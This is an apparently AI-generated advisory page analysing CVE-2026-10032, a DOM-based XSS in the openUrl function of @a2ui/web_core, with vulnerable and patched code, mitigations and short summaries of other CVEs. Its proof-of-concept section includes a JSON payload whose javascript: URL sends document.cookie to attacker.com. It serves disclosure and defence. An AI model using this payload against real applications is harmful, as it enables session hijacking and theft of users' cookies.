CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-10032

CVE-2026-10032: DOM-based Cross-Site Scripting (XSS) via window.open in Google @a2ui/web_core

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 2, 2026·7 min read·19 visits

Executive Summary (TL;DR)

Unvalidated URL configuration parameter passing to the window.open sink within the @a2ui/web_core layout engine enables unauthenticated remote attackers to execute arbitrary JavaScript in the victim browser origin.

CVE-2026-10032 is a DOM-based Cross-Site Scripting (XSS) vulnerability in Google's @a2ui/web_core Node.js library. The vulnerability is located within the openUrl utility function, which processes and opens dynamic URLs defined in layout configurations. Because the function fails to sanitize or validate the target URL scheme before passing it to the window.open browser sink, an attacker can specify a javascript: pseudo-protocol to execute arbitrary client-side script in the context of the host origin.

System Architecture and Vulnerability Context

The @a2ui/web_core Node.js package acts as a core layout and rendering engine for client-facing user interfaces within the A2UI ecosystem. Applications use JSON-based configuration files to declare complex, dynamic layouts, binding UI elements like buttons to internal actions and navigation handlers. The design relies on the ability to dynamically load configuration maps that dictate the navigation flows of various frontend elements without requiring hardcoded route scripts.

The primary attack surface resides within the application's client-side runtime environment. When processing configuration maps, the renderer exposes basic utility capabilities that are directly bound to interactive DOM nodes. Among these capabilities is the openUrl utility, which enables components to programmatically prompt the host browser to navigate to designated locations or launch external window frames.

The core security flaw is a DOM-based Cross-Site Scripting (XSS) vulnerability registered under CWE-79. Due to a complete absence of input validation within the parameter mapping layer, arbitrary, user-controlled URI strings are passed directly to highly sensitive browser sinks. When a user interacts with a UI node containing a malicious navigation string, the browser interprets the target URL as code rather than a locator, triggering script execution in the host origin.

Technical Deep-Dive into the Unsanitized Navigation Sink

The root cause of CVE-2026-10032 is the direct delivery of untrusted string inputs into the browser's window.open() execution sink without protocol verification. Modern web standards define multiple execution paths for specific URI schemes. If a URI starts with pseudo-protocols such as javascript:, data:, or vbscript:, browser rendering engines switch from simple document fetching to dynamic context parsing and immediate execution.

In vulnerable iterations of @a2ui/web_core, the action-handling module map does not filter, validate, or sanitize parameters received from external configurations. The OpenUrlImplementation receives arguments containing a destination string, checks for the existence of the window object, and immediately initiates a routing request. This path bypasses the standard defense-in-depth model that usually monitors and controls script execution contexts inside single-page applications.

Because configuration files are often fetched over network boundaries or constructed dynamically based on query parameters, this pattern allows untrusted sources to dictate the execution argument. The application makes no attempts to verify if the destination string conforms to typical web navigation schemes like HTTP or HTTPS. Consequently, the input is handled as a trusted path, enabling the browser engine to interpret the embedded script payload as an administrative command belonging to the application origin.

Source-Level Analysis and Validation Defenses

The vulnerable code in version ranges 0.9.0 to 0.10.1 is exceptionally concise and lacks security checks. The following block illustrates how the framework processed the parameters prior to the patch:

// Vulnerable Implementation (pre-0.10.2)
export const OpenUrlImplementation = createFunctionImplementation(OpenUrlApi, args => {
  if (args.url && typeof window !== 'undefined' && window.open) {
    window.open(args.url, '_blank');
  }
});

To address the flaw, Google developers committed a fix in 71573078c4168b2dc166bb847c3a85715dadc675 that integrates the WHATWG URL standard API to evaluate structural inputs securely. The revised implementation parses the target URL using the browser's native parser and rejects configurations that do not belong to an approved protocol allowlist.

// Patched Implementation in Commit 71573078c4168b2dc166bb847c3a85715dadc675
export const OpenUrlImplementation = createFunctionImplementation(OpenUrlApi, args => {
  if (args.url && typeof window !== 'undefined' && window.open) {
    const baseHref =
      typeof window.location !== 'undefined' && window.location.href
        ? window.location.href
        : undefined;
 
    let url: URL;
    try {
      url = baseHref ? new URL(args.url, baseHref) : new URL(args.url);
    } catch (e: any) {
      throw new A2uiExpressionError(`Invalid URL specified: ${args.url}`, 'openUrl', e);
    }
 
    // Strict protocol allowlist: Only HTTP and HTTPS are permitted.
    if (url.protocol !== 'https:' && url.protocol !== 'http:') {
      throw new A2uiExpressionError(`Unsupported URL scheme: ${url.protocol}`, 'openUrl');
    }
 
    // Always use noopener and noreferrer to prevent reverse tab-nabbing
    window.open(url.href, '_blank', 'noopener,noreferrer');
  }
});

The patched code is secure against variant attacks for three key reasons. First, it uses the WHATWG URL constructor rather than fragile regular expressions, which prevents typical parser differential bypasses. Second, it resolves relative URLs against the origin's relative base context (window.location.href). Third, it explicitly limits execution to http: and https: schemes, preventing any possibility of executing code via javascript: or loading local system targets via file:.

Attack Mechanics and Payload Analysis

Exploitation of CVE-2026-10032 requires an attacker to inject a malicious URI scheme into the payload delivered to the rendering library. Since @a2ui/web_core reads component mappings from dynamic JSON files, attackers target upstream APIs, data fields, or URL query parameters that influence the JSON generation process. A basic layout schema contains the button specifications and target routing attributes.

During exploitation, the attacker supplies a payload structured to map the call property to openUrl and the URL parameter to the script payload. When the victim interacts with the rendered element, the call triggers immediately within the host execution context. A representative configuration utilizing a cookie-stealing payload illustrates the structural logic of the exploit:

{
  "id": "trigger_button",
  "component": "Button",
  "text": "Proceed",
  "action": {
    "call": "openUrl",
    "args": {
      "url": "javascript:fetch('https://attacker.com/collect?data='+document.cookie)"
    }
  }
}

Because browsers execute the pseudo-protocol immediately upon processing the instruction, the cookie retrieval operates under the security context of the victim's current origin. The script gains read-and-write permissions over DOM elements and session-related tokens. The target browser does not perform additional validation checks, completing the execution phase as long as user interaction occurred.

Consequences of Client-Side Execution

The direct consequence of this vulnerability is complete access to the browser's execution context. This access allows the attacker to execute any arbitrary script within the victim's session origin. From an operational perspective, the impact matches a typical high-severity Cross-Site Scripting (XSS) payload. The attacker can access non-HttpOnly session tokens, local storage elements, and cached system secrets.

This capability facilitates subsequent attacks such as session hijacking, where the attacker clones active user credentials to gain unauthorized access to target dashboards. Additionally, since the executed code operates on behalf of the victim, the attacker can perform unauthorized state-changing operations. These operations include submitting forms, initiating transactions, or modifying user profiles directly inside the UI.

Under the CVSS v3.1 framework, the vulnerability scores a 6.1, which reflects the necessity of user interaction to trigger the click sequence. In terms of threat landscape metrics, the EPSS score remains low at 0.00130, and the vulnerability is not currently recorded in the CISA KEV catalog. Nonetheless, systems rendering arbitrary or untrusted configuration templates represent a continuous risk path that requires immediate patching to prevent structured target exploits.

Mitigation, Remediation, and Defensive Operations

The primary remediation path is upgrading @a2ui/web_core to version 0.10.2 or later. This upgrade modifies the dependency structure in package.json and updates the parsing libraries. If immediate software updates are blocked due to deployment pipelines, teams should review dynamic layout configuration pipelines. They can apply validation filters to intercept and scrub javascript: inputs before the renderer processes the JSON.

Implementing robust Content Security Policies (CSP) provides strong defense-in-depth against execution attempts. A well-configured CSP using the script-src directive without 'unsafe-inline' blocks the browser from parsing pseudo-protocols even if the input passes through the browser sink. Teams should also audit upstream API endpoints that deliver layout configuration payloads to prevent unauthorized users from editing interface parameters.

For monitoring and hunting purposes, web application firewalls and API log analyzers can flag patterns that contain protocol anomalies. Look for URL-encoded representation sequences of pseudo-protocols such as %6a%61%76%61%73%63%72%69%70%74%3a in JSON action maps. Code scanning pipelines should execute static checks for custom implementations of window.open that bypass central routing layers.

Official Patches

GooglePull Request patching the vulnerability in @a2ui/web_core

Fix Analysis (1)

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS Probability
0.13%
Top 98% most exploited

Affected Systems

@a2ui/web_core npm library

Affected Versions Detail

Product
Affected Versions
Fixed Version
@a2ui/web_core
Google
>= 0.9.0, < 0.10.20.10.2
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS Score6.1 (Medium)
EPSS Score0.00130 (Percentile: 2.227%)
ImpactExecution of arbitrary JavaScript under victim origin (XSS)
Exploit StatusPoC Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

Advisory Proof-of-ConceptThe advisory outlines JSON configuration payloads leveraging 'javascript:' URIs inside the 'args.url' parameter of 'openUrl' to achieve XSS.

Vulnerability Timeline

Related components refactored
2026-06-16
Official fix committed
2026-06-19
CVE and GitHub Security Advisory published
2026-08-04
Analysis updated in National Vulnerability Database
2026-09-23

References & Sources

  • [1]GitHub Security Advisory GHSA-72qq-p3r5-f7wq
  • [2]CVE-2026-10032 Record
  • [3]Patch Commit
  • [4]Pull Request #1707

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•29 minutes ago•CVE-2026-91113
4.3

CVE-2026-91113: Missing Authorization and Arbitrary Record Type Conversion in Silverstripe Framework GridFieldDetailForm

A missing authorization and type validation vulnerability in Silverstripe Framework prior to version 6.2.13 allows authenticated CMS users to convert database records into arbitrary DataObject classes via user-controlled ClassName parameters in GridField detail forms.

Alon Barad
Alon Barad
1 views•9 min read
•about 1 hour ago•CVE-2026-91115
8.8

CVE-2026-91115: Remote Code Execution in Silverstripe Framework via i18nTextCollectorTask

CVE-2026-91115 (GHSA-c94f-87xg-65wf) is an unsafe reflection vulnerability in the Silverstripe Framework affecting versions 6.0.0 prior to 6.2.13. The built-in development task i18nTextCollectorTask passes the user-supplied 'writer' parameter directly to Silverstripe's dependency injection container (Injector::inst()->get()) without verifying that the requested class implements the expected Writer interface. Because the dependency injector supports instantiating arbitrary classes with attacker-supplied constructor arguments, and because nested task URLs bypassed interactive confirmation middleware, an attacker can achieve remote code execution via unauthenticated requests on development instances or via Cross-Site Request Forgery (CSRF) against authenticated administrators on production instances.

Amit Schendel
Amit Schendel
5 views•8 min read
•about 2 hours ago•CVE-2026-129237
5.4

CVE-2026-129237: Partial Path Traversal (Zip Slip) in qbee-agent Tar Extractor

CVE-2026-129237 is a partial path traversal (Zip Slip) vulnerability in qbee-agent, the device agent for the qbee.io IoT device management platform. Prior to version 2026.41, the tar archive extraction routine in app/utils/tar.go used strings.HasPrefix without enforcing a directory separator boundary. When the Docker Compose bundle configuration has UseContext enabled, an authenticated user with delegated configuration or file management privileges can supply a crafted tar archive containing sibling-prefix traversal sequences, allowing directory creation and file writes into adjacent sibling directories outside the intended extraction root.

Alon Barad
Alon Barad
3 views•11 min read
•about 3 hours ago•CVE-2026-128118
7.5

CVE-2026-128118: Server-Only Module Guard Bypass and Secret Exposure in SvelteKit

CVE-2026-128118 (GHSA-m9j8-jcmv-hp69) is an information disclosure vulnerability affecting the SvelteKit framework (@sveltejs/kit) from version 3.0.0 through 3.1.0. A design flaw in the build-time Vite module guard plugin (plugin_guard) failed to register src/params.js as a client entry point and implemented a fail-open validation model. Consequently, server-only modules and private environment variables imported directly or dynamically within parameter matchers were compiled into publicly accessible client-side JavaScript bundles without triggering a build error.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 4 hours ago•CVE-2026-128071
6.5

CVE-2026-128071: Route-Rule Authorization Bypass via Encoded Slashes in Nuxt

CVE-2026-128071 is a route-rule authorization bypass and security policy circumvention vulnerability in the Nuxt web framework, affecting `nuxt`, `@nuxt/nitro-server`, and `@nuxt/vite-server` prior to version 4.6.4. Serving as an incomplete fix for GHSA-6gq8-jgmh-3ffp, the flaw arises from an interpretation conflict between Nuxt's route-rule matching logic and Vue Router's catch-all route parameter decoding. When processing an incoming HTTP request containing percent-encoded forward slashes (`%2F` or `%2f`), the route-rule evaluation engine preserves the encoded sequence as a single path segment, failing to match prefix-based rules such as `/admin/**`. However, when the request is subsequently dispatched to a catch-all page route (`app/pages/[...slug].vue`) or a multi-segment parameter handler, the parameters are URL-decoded into literal slash delimiters. This discrepancy allows unauthenticated remote attackers to bypass route-level redirects, authentication middleware (`appMiddleware`), security headers, proxy configurations, and rendering constraints (`ssr: false`, `noScripts`), while the catch-all page resolves and renders the protected resource.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 5 hours ago•CVE-2026-128134
7.8

CVE-2026-128134: Local Code Execution via Untrusted Search Path in NLTK dependencygraph

In Natural Language Toolkit (NLTK) versions prior to 3.10.4, the nltk.parse.dependencygraph.dot2img function resolves the Graphviz dot binary through the system PATH using find_binary('dot') and invokes it directly via subprocess.run() instead of routing execution through nltk.pathsec.spawn_trusted(). This omission bypasses file ownership validation, directory writability checks, and dynamic loader environment scrubbing. On multi-user POSIX systems where a victim's PATH contains a directory writable by a local low-privileged attacker, the attacker can plant a malicious dot binary that executes under the victim's privileges when dependency graphs are rendered.

Amit Schendel
Amit Schendel
4 views•11 min read